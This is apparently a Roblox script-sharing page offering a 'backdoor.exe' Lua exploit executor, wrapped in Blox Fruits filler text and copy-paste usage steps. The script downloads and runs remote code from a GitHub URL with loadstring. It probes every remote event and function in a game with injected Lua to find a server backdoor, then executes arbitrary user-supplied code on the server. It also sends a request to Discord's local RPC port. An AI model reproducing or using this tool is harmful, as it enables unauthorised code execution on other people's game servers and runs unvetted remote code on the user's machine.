Backdoor exec v67 made by me

Blox Fruits is an immensely popular game on the Roblox platform, boasting a vast user base. This action-adventure game revolves around a pirate theme, where players engage in combat against a variety of enemies and challenging bosses. Exploring islands and consuming different fruits are essential for advancing your character’s level.

What is Roblox Script?

Roblox Scripts typically refer to snippets of code that offer automation advantages within the game. Independent developers and scripters create these scripts, which are not officially endorsed by the Roblox platform. Nevertheless, you can still utilize these scripts through Roblox executors such as Arceus X, Hydrogen Executor, JJSploit, Fluxus executor, and others.

How to Use Roblox Script?

  1. Launch Roblox and join your desired game.
  2. Click the “Copy” button to duplicate the script code.
  3. Paste the script code into your preferred Roblox executor.
  4. Execute the script code and savor the enhanced experience.
--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Services
local Players = game:GetService("Players")
local CoreGui = game:GetService("CoreGui")
local Lighting = game:GetService("Lighting");
local Workspace = game:GetService("Workspace");
local JointsService = game:GetService("JointsService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")

-- Variables
local LocalPlayer = Players.LocalPlayer
local RobloxGui = CoreGui.RobloxGui

-- Functions
local dateTimeNow = DateTime.now
local tableFind = table.find
local taskSpawn = task.spawn
local taskWait = task.wait
local stringRep = string.rep
local mathRandom = math.random

-- Globals
local attached = false;
local backdoor = nil;
local commonPlaces = {
	ReplicatedStorage,
	Workspace,
	Lighting
};
local remoteCodes = {};

-- Constants
local INV_CODE = "xJHCqm84cW";
local STRING_VALUE_NAME = mathRandom(1000000, 9999999);


if RobloxGui:FindFirstChild("V6") then RobloxGui:FindFirstChild("V6"):Destroy(); print("Refreshed"); end
local Variables = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/indev/ui.lua"))()

Variables.UI.Main.Active = true
Variables.UI.Main.Draggable = true

local function notify(text,cb,b1,b2)
	game:GetService("StarterGui"):SetCore(
		"SendNotification",{
			Title = "backdoor.exe",
			Duration = 3,
			Text = text,
			Callback = cb,
			Button1 = b1,
			Button2 = b2
		}
	)
end

local function validRemote(rm)
	local Parent = rm.Parent
	local class = rm.ClassName
	if class ~= "RemoteEvent" and class ~= "RemoteFunction" then return false end

	if Parent then
		if Parent == JointsService then return false end
		if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
        (rm.Name == "__FUNCTION" and Parent.ClassName == "RemoteEvent" and Parent.Parent == ReplicatedStorage) then return false end
	end

	if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end

	return true
end

local function scanDescendants(parent)
	local descendance = parent:GetDescendants();
	for i=1, #descendance do
		local descendant = descendance[i];


		if not validRemote(descendant) then continue; end
		
		--if #remoteCodes == 5 then remoteCodes.clear(); end
		local remoteCode = tostring(mathRandom(100000, 999999));
		remoteCodes[remoteCode] = descendant;
		
		local remoteClass = descendant.ClassName
		local requireScript = ("i=Instance.new('StringValue', game.Workspace); i.Name='%s'; i.Value='%s'"):format(STRING_VALUE_NAME, remoteCode)

		if remoteClass == "RemoteEvent" then
			descendant:FireServer(requireScript)

		elseif remoteClass == "RemoteFunction" then
			local waiting = true
			taskSpawn(function()
				descendant:InvokeServer(requireScript)
				waiting = nil
			end)

            -- If RemoteFunction don't respond in 1 second, we skip this one.
			local start = dateTimeNow().UnixTimestampMillis
			while waiting and 1000 > dateTimeNow().UnixTimestampMillis - start do
				taskWait()
			end
		end

		if Workspace:FindFirstChild(STRING_VALUE_NAME) then
			attached = true
			backdoor = remoteCodes[Workspace:FindFirstChild(STRING_VALUE_NAME).Value]
			backdoor:FireServer(("game.Workspace['%s']:Destroy()"):format(STRING_VALUE_NAME)) -- Cleaning up after tonumberselves

			return true
		end
	end
end
local function scanGame()
    local found = false
	-- Scan Common Places
	for i=1, #commonPlaces do
		local place = commonPlaces[i];
		if scanDescendants(place) then
            found = true
        end
	end
	-- Scan the rest of the game
	local children = game:GetChildren();
	for i=1, #children do
		local child = children[i];
		-- We ofcourse don't need to check the common places again, do we?
		if tableFind(commonPlaces, child) then continue; end
		
		if scanDescendants(child) then 
            found = true
        end
	end
    if found then
        notify("Backdoor Found!")
        Variables.Topbar.Status.Text = "Attached"
        Variables.Topbar.Status.Circle.Status_Color.BackgroundColor3 = Color3.fromRGB(95, 185, 47)
    else
        notify("Unable to find backdoor!")
        Variables.Topbar.Status.Text = "Failed"
    end

	return found;
end
local function executeScript(script)
    if not attached then
        local function callback(text)
			if text == "Yes" then
				if scanGame() then
				    executeScript(script)
				end
			elseif text == "No" then
				return
			end
		end
	
		local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback
		notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No")
		return
    end
    
    local script = script or Variables.SourceFrame.Source.Text
    if backdoor.ClassName == "RemoteEvent" then
        backdoor:FireServer(script)
    elseif backdoor.ClassName == "RemoteFunction" then
        backdoor:InvokeServer(script)
    end
end





local function promtDiscordInvite()
    local httpService = game:GetService("HttpService")
    local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request

    if not httpRequest then setclipboard(INV_CODE) notify("Invite code copied!") return end
    
    local request = httpRequest({
        Url = "http://127.0.0.1:6463/rpc?v=1",
        Method = "POST",

        Headers = {
            ['Content-Type'] = 'application/json',
            Origin = 'https://discord.com'
        },

        Body = httpService:JSONEncode({
            args = {code = INV_CODE},
            cmd = 'INVITE_BROWSER',
            nonce = httpService:GenerateGUID(false)
        })
    })

	if request.StatusCode ~= 200 or httpService:JSONDecode(request.Body).data.code == 4011 then
	    notify("Invite code copied!") 
		setclipboard(INV_CODE)
		return
	end
	
	notify("You have been promted to join our Discord. Open your Discord.")

end

Variables.Topbar.CloseButton.MouseButton1Click:Connect(function() Variables.UI:Destroy() end)
Variables.Topbar.R6Button.MouseButton1Click:Connect(function() executeScript(("require(3041175937):r6('%s')"):format(LocalPlayer.Name)) end)
Variables.MainButtons.ScanButton.MouseButton1Click:Connect(scanGame)
Variables.MainButtons.ExecuteButton.MouseButton1Click:Connect(executeScript)
Variables.MainButtons.ClearButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Text = "" end)
Variables.MainButtons.HideButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Visible = not Variables.SourceFrame.Source.Visible end)
Variables.MainButtons.InviteButton.MouseButton1Click:Connect(promtDiscordInvite)



--	k4scripts
--	.------.
--	|4.--. |
--	| :│/: |
--	| :│\: |
--	| '--'4|
--	`------'

 

Remember to employ a dummy account when injecting scripts. We cannot be held responsible for any potential harm caused to your Roblox account.

Description

Anything will be work find you need find some backdoored game for, hacked any require script